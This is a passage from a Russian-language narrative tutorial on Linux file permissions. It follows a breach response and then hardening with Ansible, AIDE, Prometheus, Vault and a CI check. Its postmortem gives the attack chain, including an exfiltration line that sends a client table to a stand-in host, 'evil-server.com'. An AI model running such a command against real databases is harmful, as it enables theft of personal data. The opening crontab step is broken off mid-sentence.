Cron — это планировщик задач в Linux. Он позволяет запускать команды по расписанию: каждую минуту, каждый час, раз в день. Задачи cron хранятся в файлах `/etc/crontab` и в специальных папках `/etc/cron.d/`, `/etc/cron.hourly/` и т.д.

Алексей проверил все cron-задачи пользователя www-data: bash

crontab -u www-dataру, атакующий сохранил доступ.

Он немедленно удалил эту задачу: bash

crontab -u www-data -e
# Удалил строку, сохранил файл

К 8:00 утра Алексей уже 5 часов не спал. Кофе не помогал, адреналин держал в напряжении. Он закрыл дыру, починил права, удалил бэкдор в cron, сменил пароли. Но он знал: это только начало. Если они не изменят процессы, через месяц, через год — история повторится. И тогда утечка может быть не 47 тысяч, а 4,7 миллиона записей.

Postmortem почему важно обсуждать ошибки без вины?

В 10:00 Алексей созвал команду на созвон. Не для того, чтобы найти виноватого, а чтобы понять, как система допустила эту ошибку. Он написал документ, который назывался "Postmortem: Утечка данных через RCE и неправильные права".

Дата инцидента: 2024-01-02 01:17-03:24

Продолжительность: 2 часа 7 минут

Количество затронутых записей: ~47 000

ЧТО ПРОИЗОШЛО:

1. Через форму загрузки файлов (библиотека file-upload v2.1.4) 

  загружен вредоносный PHP-скрипт

2. Скрипт выполнился от имени www-data через RCE-уязвимость CVE-2023-12345

3. Скрипт прочитал /var/www/app/config/database.yml (права 644, группа webapps)

4. Полученные учётные данные использованы для подключения к PostgreSQL

5. Выполнен COPY clients TO 'http://evil-server.com/'

ПРЯМЫЕ ПРИЧИНЫ:

- Устаревшая библиотека (не обновляли с мая 2022)

- Отключённый WAF (Web Application Firewall)

- Права 644 на файлы с паролями (групповой доступ)

КОРНЕВЫЕ ПРИЧИНЫ:

- Отсутствует процесс отслеживания CVE уязвимостей

- Нет автоматического обновления зависимостей (Dependabot отключён)

- SELinux отключён из-за "сложности настройки"

- Отсутствует мониторинг изменения прав на критичных файлах

- Нет централизованного хранения секретов (файлы на диске)

ВЛИЯНИЕ:

- Утечка ПДН 47 000 клиентов

- Штраф (потенциально до 4% годового оборота)

- Репутационные потери

- Простой системы 3 часа

ДЕЙСТВИЯ, ПРИНЯТЫЕ НЕМЕДЛЕННО:

✅ Обновлена библиотека file-upload до v2.1.9

✅ Изменены права на все секретные файлы: 640

✅ Установлен sticky bit на uploads: 1775

✅ Удалён бэкдор из cron www-data

✅ Сменены все пароли базы данных

✅ Включён SELinux в enforcing режим

✅ Создан скрипт мониторинга прав

ДЕЙСТВИЯ, ЗАПЛАНИРОВАННЫЕ:

- [ ] Включить Dependabot для всех репозиториев

- [ ] Настроить WAF (ModSecurity) в блокирующем режиме

- [ ] Развернуть систему хранения секретов Vault

- [ ] Настроить аудит PostgreSQL

- [ ] Внедрить AIDE для мониторинга целостности файлов

- [ ] Создать runbook для инцидентов

```

Этот документ разослали всем инженерам. Не для наказания, а для обучения. Blameless postmortem (постмортем без вины) — это ключевая практика. Если люди боятся наказания, они скрывают ошибки. Если ошибки скрывают, они повторяются.

Ansible как автоматизировать правильные права

Ручные изменения — это временно. Человек забывает, человек ошибается, человек увольняется. Настройки должны быть кодом. Он написал Ansible playbook набор инструкций, который применяет нужные права автоматически, на всех серверах, каждый раз при деплое.

Что такое Ansible?

Ansible — это система управления конфигурациями. Вы описываете желаемое состояние сервера в YAML-файлах, а Ansible приводит его к этому состоянию. Если права сбиты — Ansible их исправит. Если файл появился — Ansible выставит ему нужные права.

Вот playbook, который Алексей создал: yaml

---

# /ansible/playbooks/security/fix-permissions.yml

- name: Ensure critical permissions are set correctly

 hosts: webservers

 become: yes # выполнять от root

  

 vars:

  app_path: /var/www/app

  app_user: alexey

  app_group: webapps

  

 tasks:

  # 1. Права на конфиги

  - name: Set database.yml permissions

   file:

    path: "{{ app_path }}/config/database.yml"

    owner: "{{ app_user }}"

    group: "{{ app_group }}"

    mode: '0640' # -rw-r-----

   

  - name: Set secret.key permissions

   file:

    path: "{{ app_path }}/config/secret.key"

    owner: "{{ app_user }}"

    group: "{{ app_group }}"

    mode: '0640'

   

  # 2. Права на uploads

  - name: Set uploads directory ownership

   file:

    path: "{{ app_path }}/uploads"

    owner: "{{ app_user }}"

    group: "{{ app_group }}"

    mode: '1775' # sticky bit + rwxrwxr-x

    state: directory

   

  # 3. Запретить выполнение PHP в uploads

  - name: Disable PHP execution in uploads

   lineinfile:

    path: "{{ app_path }}/uploads/.htaccess"

    line: "php_flag engine off"

    create: yes

    mode: '0644'

   

  # 4. Настроить umask для www-data

  - name: Set umask for PHP-FPM

   lineinfile:

    path: /etc/php/8.1/fpm/pool.d/www.conf

    regexp: '^;?php_admin_value\[umask\]'

    line: 'php_admin_value[umask] = 0022'

   notify: restart php-fpm

   

  # 5. Убедиться, что нет SUID файлов в app

  - name: Find and remove SUID bits in app directory

   command: find {{ app_path }} -type f -perm /4000 -exec chmod u-s {} \;

   changed_when: false

   

  # 6. Создать backup directory с правами 700

  - name: Create secure backup directory

   file:

    path: "{{ app_path }}/backups"

    owner: "{{ app_user }}"

    group: "{{ app_user }}"

    mode: '0700'

    state: directory

 handlers:

  - name: restart php-fpm

   service:

    name: php8.1-fpm

    state: restarted

Теперь, чтобы применить эти настройки на всех серверах, достаточно одной команды: bash

ansible-playbook /ansible/playbooks/security/fix-permissions.yml

И Ansible проверит: если права уже правильные — ничего не сделает. Если неправильные — исправит. Если файл отсутствует — создаст с нужными правами.

AIDE мониторинг целостности файлов

AIDE (Advanced Intrusion Detection Environment) — это система, которая следит за файлами и предупреждает, если они изменились. Она создаёт "отпечатки" (хэши) всех важных файлов и периодически сверяет с ними.

Как настроил Алексей: bash

# Установка

sudo apt install aide

# Инициализация базы (делается один раз)

sudo aideinit

# Это создаст файл /var/lib/aide/aide.db.new.gz

# Перемещаем его на место основной базы

sudo cp /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz

Теперь создаём конфиг, чтобы AIDE следил за критичными файлами. `/etc/aide/aide.conf`: bash

# Следим за конфигами

/var/www/app/config database.yml secret.key.asc

/var/www/app/uploads dir

# Не следим за логами (они меняются сами)

!/var/www/app/logs/

# Правила: что контролировать

# p : права доступа

# i : inode (уникальный номер файла)

# n : количество ссылок

# u : пользователь

# g : группа

# s : размер

# S : чексумма

# sha256 : хэш SHA256

database.yml p+i+n+u+g+s+S+sha256

Теперь запускаем проверку каждый час через cron (`/etc/cron.d/aide-check`):

0 * * * * root /usr/bin/aide --check --report=stdout | mail -s "AIDE Report $(hostname)" security@company.com

Если кто-то изменит права на database.yml, добавит SUID бит или подменит файл, AIDE мгновенно заметит и пришлёт письмо.

Prometheus и Grafana визуальный мониторинг прав

AIDE проверяет целостность, но Алексей хотел видеть тренды. Он написал экспортер для Prometheus — системы мониторинга, которая собирает метрики и показывает их в Grafana.

prometheus_file_permissions_exporter.py: python

#!/usr/bin/env python3

import os

import time

import sys

from prometheus_client import start_http_server, Gauge, Counter

# Создаём метрики

permission_violations = Gauge('file_permission_violations_total', 

               'Number of files with wrong permissions', 

               ['filepath', 'expected', 'actual'])

permission_check_duration = Gauge('permission_check_duration_seconds', 

                 'Duration of permission check')

permission_checks_total = Counter('permission_checks_total', 

                 'Total number of permission checks')

CRITICAL_FILES = {

  '/var/www/app/config/database.yml': '640',

  '/var/www/app/config/secret.key': '640',

  '/var/www/app/uploads': '1775',

  '/etc/shadow': '640',

  '/etc/passwd': '644'

}

def check_file_permissions():

  start_time = time.time()

   

  for filepath, expected_mode in CRITICAL_FILES.items():

    try:

      if not os.path.exists(filepath):

        permission_violations.labels(

          filepath=filepath,

          expected=expected_mode,

          actual='missing'

        ).set(1)

        continue

         

      # Получаем права в восьмеричном формате

      stat_info = os.stat(filepath)

      current_mode = oct(stat_info.st_mode & 0o777)[2:] # Например, '640'

       

      if current_mode == expected_mode:

        permission_violations.labels(

          filepath=filepath,

          expected=expected_mode,

          actual=current_mode

        ).set(0)

      else:

        permission_violations.labels(

          filepath=filepath,

          expected=expected_mode,

          actual=current_mode

        ).set(1)

         

    except Exception as e:

      permission_violations.labels(

        filepath=filepath,

        expected=expected_mode,

        actual=f'error: {str(e)}'

      ).set(1)

   

  duration = time.time() - start_time

  permission_check_duration.set(duration)

  permission_checks_total.inc()

if __name__ == '__main__':

  # Запускаем HTTP сервер на порту 8000

  start_http_server(8000)

   

  while True:

    check_file_permissions()

    time.sleep(60) # Проверяем каждую минуту

Теперь Prometheus каждую минуту собирает метрики, а Grafana строит график. Если права изменились — линия на графике поднимается, и приходит алерт.

Vault: централизованное хранение секретов

Главный вывод Алексея: файлы на диске не место для паролей. Они должны храниться в специальной системе, которая шифрует их, контролирует доступ и ведёт аудит. Он выбрал HashiCorp Vault.

Что такое Vault?

Vault менеджер секретов. Он хранит пароли, API-ключи, сертификаты. Доступ к секретам происходит по токенам, которые можно отозвать. Vault ведёт лог: кто, когда, какой секрет читал. И главное — сами секреты никогда не пишутся на диск в открытом виде.

Установка Vault: bash

sudo apt install vault
sudo systemctl enable vault
sudo systemctl start vault

Инициализация Vault: bash

vault operator init

# Получаем 5 ключей распределения и root токен

# Сохраняем их в надёжном месте

Настройка хранения секретов: bash

# Входим в Vault

export VAULT_TOKEN="s.XXXXXXXXXXXXXX"

# Включаем версонирование секретов

vault secrets enable -path=secret kv-v2

# Сохраняем пароль базы данных

vault kv put secret/app/db \

 host=localhost \

 port=5432 \

 username=app_user \

 password='NewSuperSecurePass2024!' \

 dbname=client_database

# Сохраняем API ключ

vault kv put secret/app/api \

 key="sk_live_xxxxxxxxxxxxxxx"

```

Как приложение получает секреты?

Вместо файла database.yml теперь используется: bash

# Вариант 1: через команду vault

DATABASE_URL=$(vault kv get -field=password secret/app/db)

# Вариант 2: через API (для PHP)

# Используется библиотека vault-php

$client = new VaultClient('http://vault:8200', $token);

$secret = $client->kv->read('secret/app/db');

$db_pass = $secret['password'];

Преимущества Vault:

  • Аудит: записывается каждый запрос секрета
  • Отзыв: токен можно отключить за секунду
  • Ротация: Vault может автоматически менять пароли
  • Шифрование: секреты шифруются в rest и transit
  • Нет файлов: злоумышленник не может просто прочитать файл

Алексей настроил сервер так, чтобы Vault запускался до веб-сервера, и приложение получало токен Vault через переменную окружения, которую видит только root.

Итоговый чек-лист безопасности

К 18:00 Алексей создал чек-лист, который повесил в канал #security и распечатал на стене в офисе:

ПРОДАКШЕН ЧЕК-ЛИСТ БЕЗОПАСНОСТИ

Файлы с паролями:

✅ Права: 600 или 640 (владелец ≠ www-data)

✅ Хранение: Vault, не файлы

✅ Аудит: AIDE + Prometheus

Директории загрузок:

✅ Права: 1775 (sticky bit обязателен)

✅ Владелец: alexey, не www-data

✅ Запрет выполнения: .htaccess с "php_flag engine off"

Umask:

✅ Для администраторов: 0077 в ~/.bashrc

✅ Для PHP: 0022 в pool.conf

Специальные биты:

✅ Поиск SUID: find / -perm /4000 -ls (еженедельно)

✅ Никаких SGID в /var/www

SELinux/AppArmor:

✅ Статус: Enforcing

✅ Проверка: getenforce (каждый день)

База данных:

✅ Права: только локальный хост

✅ Пользователь: без прав superuser

✅ Аудит: log_statement = 'all'

Мониторинг:

✅ AIDE: проверка каждый час

✅ Prometheus: экспортер прав

✅ Grafana: дашборд + алерты

Автоматизация:

✅ Ansible playbook на все серверы

✅ CI/CD проверяет права перед деплоем

Документация:

✅ Postmortem для каждого инцидента

✅ Runbook для инцидентов

✅ On-call ротация

Интеграция в CI/CD: проверка перед деплоем

Алексей внедрил проверку прав в pipeline GitLab. Перед каждым деплоем на staging и production запускается job: yaml

# .gitlab-ci.yml

security:permissions:

 stage: test

 script:

  - ansible-playbook --check /ansible/playbooks/security/fix-permissions.yml

  - /opt/security/check_permissions.sh

 only:

  - main

  - merge_requests

 allow_failure: false # если права неправильные — деплой не проходит

Теперь код, который нарушает безопасность, физически не может попасть в продакшен.

Директории: правильные права для разных сценариев

Мы много говорили про uploads, но как быть с другими папками? Алексей создал справочник:

Статические файлы сайта (`/var/www/html`): bash

chown -R root:root /var/www/html
find /var/www/html -type f -exec chmod 644 {} \;
find /var/www/html -type d -exec chmod 755 {} \;

Владелец root (только он может менять), остальные читают. Никаких sticky bit.

Кэш (`/var/www/app/cache`): bash

chown -R www-data:www-data /var/www/app/cache
chmod 770 /var/www/app/cache

Только веб-сервер может работать с кэшем. Другие не видят.

Логи (`/var/www/app/logs`): bash

chown -R www-data:adm /var/www/app/logs
chmod 750 /var/www/app/logs

Веб-сервер пишет, группа adm (администраторы) читает для анализа.

Бэкапы (`/var/www/app/backups`): bash

chown -R alexey:alexey /var/www/app/backups
chmod 700 /var/www/app/backups

Только alexey может видеть бэкапы. Даже www-data не имеет доступа.

Алексей помнил себя пять лет назад. Он тоже путался. Вот его советы для тех, кто только начинает:

Начни с команд: bash

# Посмотреть права

ls -l filename

# Понять, кто ты

whoami

id

# Изменить права (только для себя)

chmod 600 my_secret.txt

# Проверить, читабельно ли для сервера

sudo -u www-data cat /path/to/file

# Если Permission denied — значит, не читабельно

Запомни три цифры:

600 — только я (твои секреты)

640 — я и сервис (безопасные конфиги)

644 — я и все (публичные файлы)

Никогда не используй:

777 — это отказ от контроля

666 — для файлов без executable, но лучше 600/640

755 — только для папок и скриптов, которые все должны запускать

Используй umask:

Добавь в `~/.bashrc`: bash

umask 0077

Теперь твои новые файлы будут по умолчанию закрытыми.

Культура безопасности: главный вывод Алексея

Технологии важны, но главное — культура. Алексей понял: если команда видит безопасность как "мешалку", которая замедляет работу, они будут её обходить. Если же безопасность встроена в процесс — это становится привычкой.

Он внедрил правила:

  1. Security by default безопасные настройки "из коробки", не нужно думать
  2. Fail closedесли что-то неясно, система должна ЗАПРЕТИТЬ, а не разрешить
  3. Zero trustдаже внутри сети никому не доверяем без проверки
  4. Transparencyвсе инциденты обсуждаются открыто
  5. Automationручные действия минимизированы, код правит

В 23:00 того же дня Алексей наконец закрыл ноутбук. Перед этим он ввёл последнюю команду: bash

aide --check

Результат: All files match. ничего не изменилось, никто не проник.

Он посмотрел на стикер, который повесил на монитор:

> "Каждая цифра в chmod — это решение. Это не техдолг, а контракт. Это обещание, что ты подумал, кому доверять данные. Это уважение к пользователям, которые доверили тебе свои данные."

Linux-права существуют 50 лет не потому, что идеальны. Они существуют, потому что заставляют администратора думать о границах. Они не защищают от гениальных хакеров. Они защищают от случайных ошибок, забывчивости, лени. Они говорят: "Подумай, прежде чем открыть доступ."

Когда система выдаёт "Permission denied", она не мешает работать. Она требует: "Объясни, почему этот доступ должен быть разрешён."

Правильный ответ не в `chmod 777`. Правильный ответ в понимании: кто, зачем, когда. И в готовности отстаивать эти границы, даже когда спать хочется, а телефон не умолкает.

Мы прошли путь от базовых команд до культуры безопасности. От цифр 644 до полной автоматизации. От теории до реальной ночи, когда данные утекают, а ты один против атаки.

Теперь, когда ты видишь `ls -l` и `-rw-r-----`, ты понимаешь: это не просто символы. Это история, за которой стоят часы работы, потерянный сон и принципы, которые защищают данные людей.